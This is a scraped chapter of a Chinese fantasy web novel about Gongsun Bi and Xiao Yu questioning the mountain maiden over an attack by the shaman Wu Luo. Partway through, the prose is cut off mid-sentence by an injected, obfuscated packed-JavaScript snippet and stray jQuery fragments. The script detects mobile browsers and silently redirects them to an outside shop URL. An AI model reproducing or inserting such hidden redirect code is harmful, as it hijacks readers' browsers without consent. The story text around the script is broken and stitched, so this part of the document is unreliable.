文趣网 > 都市小说 > 辞工不如上山造反 > 7. 兴师问罪
    “规矩便是规矩,”山女敲敲蟹背,螃蟹屈足俯趴,“圣使身处其位,受得起大礼。”

    “哈,夜袭客房,也是规矩?”公孙璧叉腰讥讽,“也对,规矩都是人定的嘛。”

    “山女说的是,没有规矩不成方圆,”销昱挺直身板,示意螃蟹起来,居高临下地垂目诘问,“我久居山外,竟不知灵山宝阁的宵禁是何时解除的。”

    “未曾解除,只是今日巫礼带孙姑娘来此,恰在月升之时,”山女对答如流,不卑不亢,“有人出入,禁制便未完全开启,让巫罗钻了空子。”

    “巫罗为何要杀我带来的人?”销昱追问。

    山女轻笑:“这就要问巫罗了。我猜,大概是担心外人入山,对天帝与灵山不利吧。”

    销昱动动眼珠,张着嘴沉吟片刻,若有所思地说:“…我记得在我离开前,巫罗就已经数月不参加满月祭典了。”

    “小孩子脾气罢了,”山女替巫罗开脱着,又顺口补了一句,“年轻人心性不定是常有的事。迷途知返,天帝亦不会怪罪。”

    “……是吗,”销昱沉默地更久了些,犹疑道,“这似乎是个好事啊。”

    “我看那家伙倔得很,可不像是轻言放弃的人。”公孙璧斜瞅了一眼销昱,沉下眼神凝望蟹上严严实实罩在袍子里的山女,嘴上仍是一副轻佻的语气:“况且,她不只要杀我,还要抢夺神弓。素未谋面,孤身行刺,她倒对自己的实力很自信嘛。”

    “巫罗的先祖,乃是神明。虽然那位神是当初天地互通之时,由人飞升而成的‘亚神’,但神力依旧顺着血脉沿袭下来。因此巫罗天生便会御火,比同龄人是要出挑一些,”山女娓娓道来,“巫罗惦记着宝阁的明火禁令,又受上天光明恩泽,并未见过地下阴火,故而狼狈了些。”

    “呵,受光明恩泽,却连个太阳都见不着。”公孙璧耸耸肩,忍不住哂笑出声。她面上保持着不屑,在脑中飞快地把山女的话筛了一遍。

    亚神,火。

    公孙璧记得那个人族部将。他在成神之后并未选择留在天上。当初天梯建木被砍倒后,正是他驱火将残根败叶焚毁,彻底绝地天通。后来公孙璧离开人族,他也不知所踪。

    这都是多少年前的事了。公孙璧的眼神微微黯然。那家伙命真好,断了人家的根,自己的血脉却流传了这么多年。

    “…也许正是因为如此,她才要抢夺神弓,悼念太阳呢,”山女流畅地接住公孙璧的话,顺势将话题引开,“此屋受损,孙姑娘怕是无法安歇了。请随我来,前去我房里将就一晚。”

    “这不是还有这么多房间吗,再开一间不就行了。”公孙璧来回移目,打量着上栓与不上栓的房门,“这些屋子也就是少扇门而已,不能住吗?”

    “这里的残局需要尽快修缮,我先将姑娘安置妥当,再来收拾。”山女敲敲蟹壳,示意螃蟹后退。大螃蟹横过来,圆咕隆咚的甲壳下伸出三只尖爪和一只钝圆的泳足。爪尖敲着地面,窸窸窣窣地往楼梯口退了几步,让出空间。

    山女忽又回头面对销昱:“此间事暂了,那么,圣使……”

    “我也留下来,以防万一,”销昱率先上前一步,“我倒想看看,谁敢当着我的面行刺。”

    山女沉默了一会儿,缓缓劝道:“可是,我所居住的阁楼狭小,何况圣使与姑娘孤男寡女……”

    “放心,”公孙璧跨步跟上,与销昱齐肩,敞亮地地扬起下巴,“我对尸体没兴趣。”

    “……”销昱瞪大了眼睛,下意识瞟向山女。山女端坐蟹背,没什么反应。

    “…如此甚好。”销昱迅速回了一句,中气却不是很足。

    “那么,两位请随我上楼。”山女若无其事地敲敲蟹背。螃蟹一边窸窸窣窣地前进,一边吐出荧光泡泡照明。

    一行人跟着荧光的痕迹,路过了上来的楼梯口,往走廊另一侧行进。另一侧尽头是个向上的楼梯口。上了楼,也是一样的走廊,一样的拐角。只是不再分布左右对称的的门,仅在走廊尽头嵌着一扇单门。

    大螃蟹快步爬到门前,伸出蟹钳轻轻一推,门顺畅地划开。

    “请进,二位。”山女说着,被螃蟹驮了进去,消失在门后。

    公孙璧往门边走了几步,一阵温润的水汽从门中跑出,扑面而来。

    又是弱水。公孙璧皱了皱眉,继续往里进。刚踏进门,一地荧光倏忽拱进公孙璧的眼睛里,泛滥在整个地面,甚至滋生到墙根上,比之前她房里的光斑要壮观得多。

    公孙璧不自觉地张张嘴,闷住一声惊叹。

    一阵水声荡漾,引得公孙璧循声看去。在这间房的深处也静置着一副独木棺。棺盖被掀开,棺内隐约可见荧光漂浮。那螃蟹正将蟹钳伸进棺中,搅弄棺中的液体。

    山女敲敲螃蟹的背,轻声呵斥:“泡泡,还不能休息,拿出来。”

    泡泡听话地抽出钳子往后退,朝公孙璧与销昱的方向转过身来。

    “二位请随意,有事来楼下寻我便可。”山女驾着泡泡,又横过来,窸窸窣窣地钻出了门。

    二人目送她们出去。啪的一声,门被泡泡一脚踹上了。

    待脚步声消失在楼梯口,销昱扭头正想和公孙璧搭话,一记鞭腿突然扫来。他下意识提膝格挡。下一刻,一阵拳风直朝他的脸呼来。

    “还在耍我?”公孙璧咬着牙笑嘻嘻,“‘这把神弓,灵山无人能碰’,嗯?”

    “呃!”销昱堪堪接住迎面的拳头,忙不迭地解释,“巫罗是个例外,我先前将她忘了……”

    “还有呢,还瞒着我什么?”公孙璧的拳头加力向前顶,脸也紧随其后凑近对方的面皮,直勾勾瞪着销昱微缩的瞳孔逼问。

    灵山众人对销昱的疏离,自己降临此境时销昱的笃定,以及巫咸对自己难以捉摸的态度……种种异常在公孙璧的脑袋里转悠交缠。公孙璧其实并不急于从他口

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841139|211653||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中得知答案,她无所事事地活这么多年,闲得很,乐意给自己找点乐子。只是销昱这一本正经的样子,她实在忍不住不逗。

    “你为什么会久居山外,为什么会知道我会经过灵山,找我合作的真正目的究竟是什么?”公孙璧长得没有销昱高。她略带兴奋地仰视销昱,歪过脑袋欣赏他脸上瞬间的无措,不紧不慢地连续发问。

    “…男女授受不亲。”销昱呆了一下,抿嘴移目,发力把公孙璧推开。他转身侧对公孙璧,镇定地整理衣襟,垂手而立。“总之,”他坚定地小声回应,“巫罗今夜所为,绝非我指使!”

    公孙璧被不轻不重地推开,没趣地瘪瘪嘴。“我知道,”她长呼一口气,耸耸肩膀,“你和我打过,了解我的水平,就算要杀我,也不会派她来。”

    “那你是…怀疑巫礼,还是山女?”听见公孙璧转移话题,销昱连忙转身跟上思路。

    “他们?那就更不可能了。知道楼内禁明火,还会派个使明火的家伙来执行任务?”公孙璧摇摇头,目光放得严肃,“依我看,要么是她自己鲁莽,要么是就是有人借刀杀人,来试我的深浅。”

    “巫咸…不会是他,”公孙璧又回想起巫咸的青蛇,顷刻否决,转而问销昱,“他没必要多此一举。你们灵山能使唤动巫罗的,还有什么人没?”

    “这……十巫已是灵山等级最高的巫觋了。”销昱眨眨眼睛,盯着墙角摸摸下巴。

    “灵山十巫,楼下有九个屋子,若我没猜错,每个屋子里都有一副独木棺吧,”公孙璧仰起下巴向销昱示意屋角独木棺的方向,“九个屋子,加上山女的这间,一共十间,其中有五间门口上了栓,大概是已经住满了吧。”

    “……”销昱移开目光,没有看她,也没有说话。

    公孙璧兀自把话捋下去:“另外的四件空屋,除去巫咸,巫礼,巫罗,剩下一间,又是给何人准备的呢?”

    “确实还有一个人,”销昱这下拉回了注意力,接住了话,“巫彭。”

    是没听过的名字。公孙璧来了兴趣,偏头把脖子抻过去问:“这是谁?身份很高吗?”

    销昱轻轻摇头:“除了巫咸之外,其余九人并无身份高低之分,最多只有资历上的不同。”他望着屋顶回忆道,“巫彭资历确实比巫罗久些,并且,两人关系也的确不错。”

    “…怎么个不错法?”公孙璧眼神焕发,扯扯销昱的宽袖子,招呼他在皮垫上坐下来。

    “可能是倔到一起去了吧。”销昱被拉过去与公孙璧并排坐,屁股快挨地时,又不动声色地往旁边挪了几寸,保持距离。

    公孙璧在心里揶揄,面上不稀罕理他这小动作。

    销昱仔细整整皱起的衣摆,将胳膊揣进袖子里,眼神放空,让思绪飘远,徐徐说来:“灵山已经脱离正常人类的生老病死了,只有巫彭还在坚持研究针对血肉之躯的医术。当年我下界之后第一次复活,多半要仰仗他的功劳。”